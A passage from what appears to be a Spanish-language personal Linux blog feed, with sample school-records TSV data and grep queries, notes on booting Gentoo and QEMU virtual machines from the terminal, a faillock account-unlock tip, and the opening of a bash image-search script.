ASISTENCIA_PERSONAL AP000002 FECHA=2025-03-01 PERSONA=P0004 ROL=PRECEPTOR ESTADO=AUSENTE MOTIVO=LICENCIA
################################################################################
# LICENCIAS
################################################################################
LICENCIA L0001 PERSONA=P0004 ROL=PRECEPTOR TIPO=MEDICA FECHA_DESDE=2025-03-01 FECHA_HASTA=2025-03-10 OBSERVACION=Reposo
################################################################################
# CALIFICACIONES / EVALUACIONES
################################################################################
EVALUACION E0001 MATERIA=MAT001 CURSO=CUR001 TIPO=PARCIAL TRIMESTRE=1 FECHA=2025-04-10 PESO=1
NOTA N000001 EVALUACION=E0001 ALUMNO=P0001 VALOR=8 CONDICION=APROBADO
NOTA N000002 EVALUACION=E0001 ALUMNO=P0002 VALOR=6 CONDICION=APROBADO
################################################################################
# TRAYECTORIA ESCOLAR
################################################################################
TRAYECTORIA T0001 ALUMNO=P0001 CICLO=CIC2025 ESTADO=EN_CURSO OBSERVACION=NA
TRAYECTORIA T0002 ALUMNO=P0002 CICLO=CIC2025 ESTADO=EN_CURSO OBSERVACION=NA
################################################################################
# SANCIONES / CONVIVENCIA
################################################################################
SANCION S0001 ALUMNO=P0002 FECHA=2025-05-03 TIPO=AMONESTACION ARTICULO=12 GRAVEDAD=LEVE DESCRIPCION=Falta_de_respeto
SANCION S0002 ALUMNO=P0001 FECHA=2025-06-01 TIPO=SUSPENSION DIAS=2 ARTICULO=20 DESCRIPCION=Pelea
################################################################################
# INTERVENCIONES PSICOLOGICAS / GABINETE
################################################################################
INTERVENCION PSI0001 ALUMNO=P0002 FECHA=2025-05-10 TIPO=ENTREVISTA DERIVACION=PRECEPTORIA RESULTADO=Seguimiento
INTERVENCION PSI0002 ALUMNO=P0002 FECHA=2025-06-02 TIPO=REUNION_TUTOR RESULTADO=Mejora
################################################################################
# COMUNICACIONES / ACTAS
################################################################################
COMUNICACION C0001 FECHA=2025-04-01 ALUMNO=P0001 TIPO=CUADERNO ASUNTO=Rendimiento TEXTO=Bajo_desempeño
ACTA A0001 FECHA=2025-03-20 TIPO=REUNION_DOCENTE CURSO=CUR001 TEMA=Seguimiento_general
################################################################################
# FIN DE ARCHIVO
################################################################################
</code></pre><h1 id="comandos-para-buscar-informacion-desde-la-consola-de-comandos">Comandos para buscar informacion desde la consola de comandos.</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># alumnos</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^PERSONA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'TIPO=ALUMNO'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># alumno por DNI</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^PERSONA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'DNI=45123456'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># alumno por apellido</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^PERSONA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'APELLIDO=Gomez'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># alumnos de un curso</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^INSCRIPCION'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'CURSO=CUR001'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># tutores de un alumno</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^RESPONSABLE'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'ALUMNO=P0001'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># asistencias de un alumno</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^ASISTENCIA_ALUMNO'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'ALUMNO=P0001'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># inasistencias sin justificar</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^ASISTENCIA_ALUMNO'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'ESTADO=AUSENTE'</span> | grep <span style="color:#e6db74">'JUSTIFICACION=NO'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># asistencias del personal</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^ASISTENCIA_PERSONAL'</span> ESCUELA-GESTION-ANUAL.tsv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># licencias activas</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^LICENCIA'</span> ESCUELA-GESTION-ANUAL.tsv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># sanciones de un alumno</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^SANCION'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'ALUMNO=P0002'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># notas de un alumno</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^NOTA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'ALUMNO=P0001'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># notas por materia</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^NOTA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'MATERIA=MAT001'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># promedios por alumno</span>
</span></span><span style="display:flex;"><span>awk -F<span style="color:#e6db74">'\t'</span> <span style="color:#e6db74">'$1=="NOTA"{split($0,a,"VALOR=");split(a[2],b,"\t");print b[1]}'</span> ESCUELA-GESTION-ANUAL.tsv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># alumnos con sanciones y notas bajas</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^SANCION'</span> ESCUELA-GESTION-ANUAL.tsv | cut -f3 | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> read alumno; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> grep <span style="color:#e6db74">'^NOTA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">"</span>$alumno<span style="color:#e6db74">"</span> | grep <span style="color:#e6db74">'VALOR=[1-5]'</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># intervenciones psicologicas</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^INTERVENCION'</span> ESCUELA-GESTION-ANUAL.tsv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># historial completo de un alumno</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'P0001'</span> ESCUELA-GESTION-ANUAL.tsv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># comunicaciones a tutores</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^COMUNICACION'</span> ESCUELA-GESTION-ANUAL.tsv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># actas por curso</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^ACTA'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'CURSO=CUR001'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># conteo de inasistencias por alumno</span>
</span></span><span style="display:flex;"><span>grep <span style="color:#e6db74">'^ASISTENCIA_ALUMNO'</span> ESCUELA-GESTION-ANUAL.tsv | grep <span style="color:#e6db74">'ESTADO=AUSENTE'</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>awk -F<span style="color:#e6db74">'\t'</span> <span style="color:#e6db74">'{for(i=1;i<=NF;i++) if($i~/ALUMNO=/) print $i}'</span> | sort | uniq -c
</span></span></code></pre></div><h1 id="vim-macros">Vim macros</h1>
<p>Perfecto. Si <strong>ya sos experto en Vim</strong>, este formato te queda como anillo al dedo.
Sin palabrerío, <strong>recetas concretas</strong> para <strong>cargar datos rápido</strong> en ese <code>.tsv</code>.</p>
-
Gentoo VM desde la TTY.
https://imlauera.github.io/gentoo_vm/
Tue, 30 Dec 2025 12:00:30 -0300
https://imlauera.github.io/gentoo_vm/
<p>Esto fue un fail porque mi netbook g5 es muy vieja y me tiraba un kernel panic. Lo que hice fue reinstalar archlinux y dejar una partición libre para instalar gentoo o kiss linux o cualquier otra distro que quiera instalar usando un entorno chroot :) es una mejor solución porque al no ser una máquina virtual puedo usar todo el CPU.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Decime como bootearlo dame los comandos no me tires un texto tan largo. <span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~> wget https://mimas.co.ext.planetunix.net/pub/gentoo/releases/amd64/autobuilds/current-di-amd64-cloudinit/di-amd64-cloudinit-20251228T163057Z.qcow2
</span></span><span style="display:flex;"><span>--2025-12-30 11:54:22-- https://mimas.co.ext.planetunix.net/pub/gentoo/releases/amd64/autobuilds/current-di-amd64-cloudinit/di-amd64-cloudinit-20251228T163057Z.qcow2
</span></span><span style="display:flex;"><span>Loaded CA certificate <span style="color:#e6db74">'/etc/ssl/certs/ca-certificates.crt'</span>
</span></span><span style="display:flex;"><span>Resolving mimas.co.ext.planetunix.net <span style="color:#f92672">(</span>mimas.co.ext.planetunix.net<span style="color:#f92672">)</span>... 38.180.182.84, 2a02:c6c1:151:202:0:1:0:10
</span></span><span style="display:flex;"><span>Connecting to mimas.co.ext.planetunix.net <span style="color:#f92672">(</span>mimas.co.ext.planetunix.net<span style="color:#f92672">)</span>|38.180.182.84|:443... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... <span style="color:#ae81ff">200</span> OK
</span></span><span style="display:flex;"><span>Length: <span style="color:#ae81ff">1398931456</span> <span style="color:#f92672">(</span>1.3G<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>text/plain<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Saving to: ‘di-amd64-cloudinit-20251228T163057Z.qcow2’
</span></span><span style="display:flex;"><span>di-amd64-cloudinit-20251228T163057Z.qcow2 100%<span style="color:#f92672">[======================================================================================================</span>><span style="color:#f92672">]</span> 1.30G 4.88MB/s in 3m 1s
</span></span><span style="display:flex;"><span>Last-modified header invalid -- time-stamp ignored.
</span></span><span style="display:flex;"><span>2025-12-30 11:57:24 <span style="color:#f92672">(</span>7.37 MB/s<span style="color:#f92672">)</span> - ‘di-amd64-cloudinit-20251228T163057Z.qcow2’ saved <span style="color:#f92672">[</span>1398931456/1398931456<span style="color:#f92672">]</span>
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Crear cloud-init ISO</span>
</span></span><span style="display:flex;"><span>cat > user-data <span style="color:#e6db74"><< EOF
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#cloud-config
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">users:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> - name: gentoo
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> sudo: ALL=(ALL) NOPASSWD:ALL
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ssh_authorized_keys:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> - $(cat ~/.ssh/id_rsa.pub)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">chpasswd:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> list: |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> gentoo:gentoo
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> expire: false
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ssh_pwauth: true
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"instance-id: vm1"</span> > meta-data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>genisoimage -output cloud-init.iso -volid cidata -joliet -rock user-data meta-data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Bootear la VM</span>
</span></span><span style="display:flex;"><span>qemu-system-x86_64 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -enable-kvm <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -m <span style="color:#ae81ff">2048</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -cpu host <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -smp <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -drive file<span style="color:#f92672">=</span>di-amd64-cloudinit-20251228T163057Z.qcow2,format<span style="color:#f92672">=</span>qcow2,if<span style="color:#f92672">=</span>virtio <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -cdrom cloud-init.iso <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -net nic,model<span style="color:#f92672">=</span>virtio <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -net user,hostfwd<span style="color:#f92672">=</span>tcp::2222-:22 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -nographic
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Conectar por SSH (desde otra terminal)</span>
</span></span><span style="display:flex;"><span>ssh -p <span style="color:#ae81ff">2222</span> gentoo@localhost
</span></span></code></pre></div><p>Si no tenés <code>genisoimage</code>: <code>pacman -S cdrtools</code></p>
-
The account is locked due to 3 failed logins.
https://imlauera.github.io/unlock/
Mon, 29 Dec 2025 15:53:23 -0300
https://imlauera.github.io/unlock/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>The account is locked due to <span style="color:#ae81ff">3</span> failed logins.
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span><span style="color:#ae81ff">9</span> minutes left to unlock<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Password:
</span></span></code></pre></div><p>how do I unlock it?</p>
<ol>
<li><strong>Login as root</strong>: If you have root access, you can login as root and use the <code>pam_tally2</code> or <code>faillock</code> command to reset the failed login counter. The exact command depends on the PAM configuration used on your system.
<ul>
<li>For <code>pam_tally2</code>, use: <code>pam_tally2 --user esotericwarfare --reset</code></li>
<li>For <code>faillock</code>, use: <code>faillock --user esotericwarfare --reset</code></li>
</ul>
</li>
<li><strong>Reboot the system</strong>: Rebooting the system will also reset the failed login counter. However, this might not be a feasible solution if you’re on a production system or don’t have physical access.</li>
</ol>
-
Maquina virtual desde la Linux TTY. (Fail kernel panic porque tenia CPU muy vieja) (Sin KVM, es decir, con puro CPU funciona)
https://imlauera.github.io/virtualmachine_linuxtty/
Mon, 29 Dec 2025 11:47:52 -0300
https://imlauera.github.io/virtualmachine_linuxtty/
<p>Para correr una máquina virtual desde la TTY en Arch Linux sin entorno gráfico, puedes usar QEMU con varias opciones. Aquí te explico cómo:</p>
<h2 id="opción-1-qemu-con-display-curses-recomendado-para-tty">Opción 1: QEMU con display curses (recomendado para TTY)</h2>
<p>Primero instala QEMU:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S qemu-full
</span></span></code></pre></div><p>Luego ejecuta tu VM con el display curses:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>qemu-system-x86_64 -hda tu-disco.img -m 2G -display curses
</span></span></code></pre></div><p>El modo <code>curses</code> renderiza la salida de la VM directamente en la terminal usando caracteres. Puedes salir con <code>Esc + 2</code> y luego escribir <code>quit</code>.</p>
-
Imgsearch: buscar imágenes desde la consola más rápido
https://imlauera.github.io/imgsearch/
Sun, 28 Dec 2025 13:04:19 -0300
https://imlauera.github.io/imgsearch/
<h1 id="cortecía-de-claude-ai">Cortecía de Claude AI</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"># img-search - Buscador simple de imágenes que SIEMPRE funciona</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Soporta múltiples motores sin JavaScript</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -e
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Colores</span>
</span></span><span style="display:flex;"><span>RED<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0;31m'</span>
</span></span><span style="display:flex;"><span>GREEN<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0;32m'</span>
</span></span><span style="display:flex;"><span>YELLOW<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[1;33m'</span>
</span></span><span style="display:flex;"><span>CYAN<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0;36m'</span>
</span></span><span style="display:flex;"><span>NC<span style="color:#f92672">=</span><span style="color:#e6db74">'\033[0m'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Configuración</span>
</span></span><span style="display:flex;"><span>CACHE_DIR<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$HOME<span style="color:#e6db74">/.cache/img-search"</span>
</span></span><span style="display:flex;"><span>mkdir -p <span style="color:#e6db74">"</span>$CACHE_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>W3M<span style="color:#f92672">=</span><span style="color:#e6db74">"w3m -o display_image=1 -o auto_image=1"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ayuda</span>
</span></span><span style="display:flex;"><span>show_help<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> cat <span style="color:#e6db74"><< EOF
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">${CYAN}img-search - Buscador universal de imágenes para consola${NC}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">${GREEN}USO:${NC}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> img-search MOTOR "búsqueda" [opciones]
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">${GREEN}MOTORES:${NC}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> searx - SearXNG local (localhost:8888)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ddg - DuckDuckGo Images (sin JS)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> ecosia - Ecosia Images (sin JS)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> bing - Bing Images (sin JS)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> qwant - Qwant Images (sin JS)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">${GREEN}OPCIONES:${NC}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --list|-l Listar URLs encontradas
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --download|-d Descargar imágenes
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --urls|-u Solo mostrar URLs (para pipes)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --open|-o Abrir en navegador (default)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">${GREEN}EJEMPLOS:${NC}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> img-search ddg "gatos"
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> img-search searx "wallpapers" --list
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> img-search bing "linux logos" --download
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> img-search ecosia "nature" --urls > urls.txt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">${YELLOW}DEPENDENCIAS:${NC}
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> w3m curl wget (opcional: jq para SearXNG)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Función para extraer URLs de HTML</span>
</span></span><span style="display:flex;"><span>extract_urls_from_html<span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span> local html<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Múltiples patrones para capturar diferentes formatos</span>
</span></span><span style="display:flex;"><span> grep -oE <span style="color:#e6db74">'(src|data-src|href)="https?://[^"]+\.(jpg|jpeg|png|gif|webp|svg)(\?[^"]*)?[^"]*"'</span> <span style="color:#e6db74">"</span>$html<span style="color:#e6db74">"</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> sed <span style="color:#e6db74">'s/.*="\(.*\)"/\1/'</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> grep -v <span style="color:#e6db74">'^//'</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> grep -v <span style="color:#e6db74">'data:image'</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> sort -u <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># También buscar URLs sin comillas</span>
</span></span><span style="display:flex;"><span> grep -oE <span style="color:#e6db74">'https?://[^\s"<>()]+\.(jpg|jpeg|png|gif|webp)(\?[^\s"<>()]+)?'</span> <span style="color:#e6db74">"</span>$html<span style="color:#e6db74">"</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> grep -v <span style="color:#e6db74">'data:image'</span> | <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> sort -u <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Validar argumentos</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $# -lt <span style="color:#ae81ff">2</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> show_help
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MOTOR<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>QUERY<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$2<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>MODE<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>3<span style="color:#66d9ef">:-</span>open<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Validar motor</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$MOTOR<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> searx|ddg|ecosia|bing|qwant<span style="color:#f92672">)</span> ;;
</span></span><span style="display:flex;"><span> -h|--help|help<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> show_help
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> *<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>RED<span style="color:#e6db74">}</span><span style="color:#e6db74">Motor desconocido: </span>$MOTOR<span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo -e <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>YELLOW<span style="color:#e6db74">}</span><span style="color:#e6db74">Usa: searx, ddg, ecosia, bing o qwant</span><span style="color:#e6db74">${</span>NC<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encode query</span>
</span></span><span style="display:flex;"><span>ENCODED<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$QUERY<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">'s/ /%20/g'</span> | sed <span style="color:#e6db74">'s/+/%2B/g'</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Construir URL según motor</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$MOTOR<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> searx<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> URL<span style="color:#f92672">=</span><span style="color:#e6db74">"http://localhost:8888/search?q=</span><span style="color:#e6db74">${</span>ENCODED<span style="color:#e6db74">}</span><span style="color:#e6db74">&categories=images&format=json"</span>
</span></span><span style="display:flex;"><span> USE_JSON<span style="color:#f92672">=</span>true
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> ddg<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> URL<span style="color:#f92672">=</span><span style="color:#e6db74">"https://duckduckgo.com/?q=</span><span style="color:#e6db74">${</span>ENCODED<span style="color:#e6db74">}</span><span style="color:#e6db74">&iax=images&ia=images"</span>
</span></span><span style="display:flex;"><span> USE_JSON<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> ecosia<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> URL<span style="color:#f92672">=</span><span style="color:#e6db74">"https://www.ecosia.org/images?q=</span><span style="color:#e6db74">${</span>ENCODED<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> USE_JSON<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> bing<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> URL<span style="color:#f92672">=</span><span style="color:#e6db74">"https://www.bing.com/images/search?q=</span><span style="color:#e6db74">${</span>ENCODED<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> USE_JSON<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> qwant<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> URL<span style="color:#f92672">=</span><span style="color:#e6db74">"https://www.qwant.com/?q=</span><span style="color:#e6db74">${</span>ENCODED<span style="color:#e6db74">}</span><span style="color:#e6db74">&t=images"</span>
</span></span><span style="display:flex;"><span> USE_JSON<span style="color:#f92672">=</span>false
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Banner</span>
